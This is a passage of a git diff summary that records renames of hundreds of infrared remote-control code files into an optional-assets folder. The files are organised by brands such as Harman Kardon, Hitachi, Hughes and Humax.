assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/GE/VCR/14,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/GE/VCR/26,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Galaxis/Satellite/13,80.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/General Electric/TV/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/General Electric/VCR/11,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/General Electric/VCR/14,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/General Electric/VCR/26,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/General Instrument/Satellite/130,110.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Gericom/Plasma/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Go Video/VCR/132,98.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Go Video/VCR/5,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Go Video/VCR/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/GoldStar/VCR/110,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Griffin/iPod/212,190.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Grundig/Satellite/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Grundig/Satellite/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Grundig/Satellite/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Grundig/TV/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/HQV/Video Processor/128,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Tuner/130,114.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Unknown/130,114.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Unknown_DVD/130,114.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Unknown_HD730/131,74.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD/130,114.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon/128,112.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Video Projector/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Video Projector/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Video Projector/30,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/Video Projector/7,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Kardon/iPod/130,114.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Video/Video Projector/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harman Video/Video Projector/7,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Harmony/PS3 Adaptor/11,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hauppauge/Unknown_DSR-0095/29,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hauppauge/Unknown_MVP/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hauppauge/Unknown_R808/30,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR-950Q/29,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hauppauge/Unknown_WinTV-HVR/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hauppauge/Unknown_hauppauge-stb/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hello Kitty/Unknown_Kitty/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Herma/Dipper/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hermstedt/Unknown_Hifidelio/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hewlett Packard/Plasma/18,17.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hewlett Packard/Plasma/2,17.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hewlett Packard/TV/18,17.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hewlett Packard/TV/2,17.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hinen Electronics/Unknown_Electronics/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hip Interactive/Unknown_GE1002/0,246.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hirschmann/Satellite/32,255.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hirschmann/Unknown_RC426/54,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/CD Player/168,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Cable Box/80,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/DSS/12,251.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/DSS/184,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/DSS/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/DSS/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/DSS/80,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/DSS/96,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/DSS/97,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/DVD Player/102,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Display/80,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/LCD/86,171.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Monitor/144,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Monitor/80,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Monitor/96,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Monitor/96,158.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Monitor/97,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Plasma/80,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Plasma/80,173.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/TV/12,251.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/TV/80,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/TV/80,143.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/TV/80,173.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/TV/96,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Unknown_CLE-941/80,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Unknown_CLE-947/80,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Unknown_CP-X345/135,69.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Unknown_DV-RM335E/128,35.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Unknown_FX7/91,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Unknown_HFTV/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Unknown_Hitachi/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Unknown_Hitachi/80,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Unknown_hitachi.conf/91,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/40,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/44,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/5,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/80,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/83,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/96,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/96,158.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/97,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/VCR/97,159.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Video Projector/135,69.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/DSS/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/DSS/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/DSS/12,251.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/DSS/133,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/DSS/136,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/DSS/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/DSS/60,178.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/DSS/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/DVR/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/DVR/133,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/HD Satellite HD Tivo/133,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/HD with TiVo/133,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/Satellite/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/Satellite/12,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/Satellite/12,251.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/Satellite/133,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/Satellite/136,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/Satellite/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/Satellite/60,178.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/Satellite/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/TiVo/133,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/Unknown_DSS/12,251.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/Unknown_HRMC-8/12,251.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/Unknown_b2/12,251.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/VCR/96,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hughes/VCR/97,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Humax/Com Hem Box/0,16.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Humax/HDTV Tuner/0,16.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Humax/HDTV Tuner/0,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Humax/HDTV Tuner/0,65.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Humax/HDTV Tuner/0,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Humax/Satellite/0,17.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Humax/Satellite/0,23.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Humax/Satellite/0,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Humax/Tivo + DVD/133,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Humax/Unknown_F1CI/0,16.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Humax/Unknown_HUMAX/0,16.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Humax/Unknown_Humax-5400IRCI/0,16.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Humax/Unknown_Humax-RC-536P/2,23.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Humax/Unknown_RS-521/0,16.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Humax/Unknown_lircd.conf/0,16.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hyundai/Unknown_H-DVD5038N/0,251.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Hyundai/Unknown_l17t/170,3.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/I-O Data/DVD Player/8,230.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/I24/Unknown_I24/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/IR4PS3/Blu-Ray/26,35.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ITT/Unknown_ITT/49,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ITT/Unknown_ITTNOKIA/49,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ITT/Unknown_RC40/49,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ITT/Unknown_RC51/49,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Illusion/Unknown_M3/22,-1.ir 